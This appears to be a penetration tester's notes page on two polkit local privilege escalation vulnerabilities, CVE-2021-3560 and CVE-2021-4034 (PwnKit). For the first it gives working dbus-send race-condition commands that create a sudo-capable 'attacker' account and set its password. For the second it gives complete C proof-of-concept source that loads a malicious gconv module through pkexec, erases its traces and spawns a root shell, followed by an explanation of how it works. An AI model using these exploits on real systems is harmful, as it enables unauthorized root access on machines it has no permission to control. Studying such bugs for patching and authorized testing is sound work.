CVE-2021-3560

This bug is a combination of a race condition and bad error handling. Basically:

  • Manually request an action that requires superuser access via DBus.
  • Kill dbus-daemon after Polkit has received the message but before it responds (there’s the race).
  • Polkit requests the user ID associated with the message, but since DBus has restarted it can’t reference the original message ID and responds with an error.
  • Polkit mishandles the error, substituting 0 for the ID of the requesting user (there’s the botched error handling).
  • Because the requesting user ID now appears to be root, Polkit just goes ahead and takes the action without issuing a challenge.

Ubuntu fixed with with version 0.105-26ubuntu1.1 of the policykit-1 package (the last vulnerable version was 0.105-26ubuntu1).

  1. Construct a message similar to the following:

    dbus-send \
    	--system \
    	--dest=org.freedesktop.Accounts \
    	--type=method_call \
    	--print-reply /org/freedesktop/Accounts \
    	              org.freedesktop.Accounts.CreateUser \
    	              string:attacker \
    	              string:"Pentester Account" \
    	              int32:1

    The three parameters are:

    • string:attacker — the name of the user to create.
    • string:"Pentester Account" — the user “description” (GECOS field).
    • int32:1 — grant sudo access to the user.
  2. Begin by determining how long the message takes to execute on the target. This can be done with the time command.

    time dbus-send \
    	--system \
    	--dest=org.freedesktop.Accounts \
    	--type=method_call \
    	--print-reply /org/freedesktop/Accounts \
    	              org.freedesktop.Accounts.CreateUser \
    	              string:attacker \
    	              string:"Pentester Account" \
    	              int32:1
  3. DBus needs to be killed approximately halfway through this execution period. We cannot wait for the application to return, so instead we background it.

    dbus-send \
    	--system \
    	--dest=org.freedesktop.Accounts \
    	--type=method_call \
    	--print-reply /org/freedesktop/Accounts \
    	              org.freedesktop.Accounts.CreateUser \
    	              string:attacker \
    	              string:"Pentester Account" \
    	              int32:1 & \
    sleep ${TIME}s; kill $!

    Here $TIME is approximately half the time measured in the previous step.

  4. ID the created user.

    id attacker
  5. Create a new password hash for the user.

    openssl passwd -6 $PASSWORD
  6. Pull the same trick as in step 3, but with setting the created user’s password.

    dbus-send \
    	--system \
    	--dest=org.freedesktop.Accounts \
    	--type=method_call \
    	--print-reply /org/freedesktop/Accounts/User$UID \
    	              org.freedesktop.Accounts.User.SetPassword \
    	              string:'$PASSWORD_HASH' \
    	              string:'Ask the pentester' & \
    sleep ${TIME}s; kill $!

    Here $UID is the user ID retrieved in step 4 (note that there’s no space between User and the ID, so you’ll be hitting an endpoint that looks something like /org/freedesktop/Accounts/User1003), $PASSWORD_HASH is the hash returned in step 5, and $TIME is the same timing determined from step 3. The second string being passed in the user password hint.

  7. Log in as the new user (probably via su).

CVE-2021-4034 (“Pwnkit”)

Quick-n-dirty Pwnkit exploit:

/*
 * Proof of Concept for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit's pkexec (CVE-2021-4034) by Andris Raugulis <moo@arthepsy.eu>
 * Advisory: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
char *shell = 
	"#include <stdio.h>\n"
	"#include <stdlib.h>\n"
	"#include <unistd.h>\n\n"
	"void gconv() {}\n"
	"void gconv_init() {\n"
	"	setuid(0); setgid(0);\n"
	"	seteuid(0); setegid(0);\n"
	"	system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
	"	exit(0);\n"
	"}";
 
int main(int argc, char *argv[]) {
	FILE *fp;
	system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
	system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
	fp = fopen("pwnkit/pwnkit.c", "w");
	fprintf(fp, "%s", shell);
	fclose(fp);
	system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
	char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
	execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}

The exploit is then as simple as gcc $FILE -o exploit; ./exploit.

Caution

This version of the exploit will leave traces in the target’s logs!

Here’s what happens on execution:

  1. The exploit creates the path GCONV_PATH=. in the current directory and adds an invalid executable file to it.

  2. The exploit creates a second directory called pwnkit and sets up a malicious shared library designed to be loaded by GLib to translate system messages to the made-up character set “PWNKIT”.

  3. The exploit calls pkexec with a NULL argument list (this bit is important, since we need the length of the argument list to be 0 — so, not even to contain the name of pkexec itself) but with a correctly set up (albeit malicious) environment via execve(). Importantly, the first “variable” in the environment is actually the name of the (invalid) executable in the GCONV_PATH=. directory.

  4. Polkit just falls through the loop that it would normally use to walk through the passed-in arguments. This causes what would be pointing to an executable name to instead point to the first environment variable that’s passed into execve(), which happens to be string pwnkit.

  5. Polkit looks up the malicious executable, finds it in GCONV_PATH=./pwnkit (because we set the PATH to that directory), and then tries to replace the executable name with this full path. Except that it’s still writing to the first element of the environment, which causes pwnkit to be replaced by GCONV_PATH=./pwnkit.

  6. Polkit the proceeds to sanitize its environment. When it comes to the invalid SHELL variable this sanitization fails and Polkit throws an error and dies. But! Before dying, Polkit tries to print the error using a GLib function that dutifully attempts to translate the message into the “PWNKIT” character set. To figure out how to do this, modules are loaded from GCONV_PATH… And we’ve defined a malicious module to do this that cleans up the exploit files and spawns a root shell (since pkexec is SUID root).